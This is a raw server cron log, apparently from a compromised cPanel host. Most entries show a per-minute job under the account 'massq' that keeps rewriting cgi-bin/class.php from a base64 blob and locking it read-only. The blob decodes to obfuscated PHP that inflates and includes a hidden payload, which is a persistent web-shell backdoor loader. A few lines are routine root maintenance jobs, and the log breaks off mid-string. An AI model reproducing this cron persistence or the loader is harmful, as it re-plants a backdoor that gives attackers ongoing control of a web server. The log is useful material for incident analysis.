Apr 10 06:20:01 server CROND[12014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:21:01 server CROND[12224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:22:01 server CROND[12310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:23:01 server CROND[12386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:24:01 server CROND[12448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:25:01 server CROND[12516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:25:01 server CROND[12517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:25:01 server CROND[12518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:25:01 server CROND[12519]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 06:26:01 server CROND[12732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:27:01 server CROND[12798]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 06:27:01 server CROND[12799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:28:01 server CROND[12863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:29:01 server CROND[12970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:30:01 server CROND[13036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:30:01 server CROND[13037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:30:01 server CROND[13038]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:30:01 server CROND[13039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 06:31:01 server CROND[13249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:32:01 server CROND[13298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:33:01 server CROND[13359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp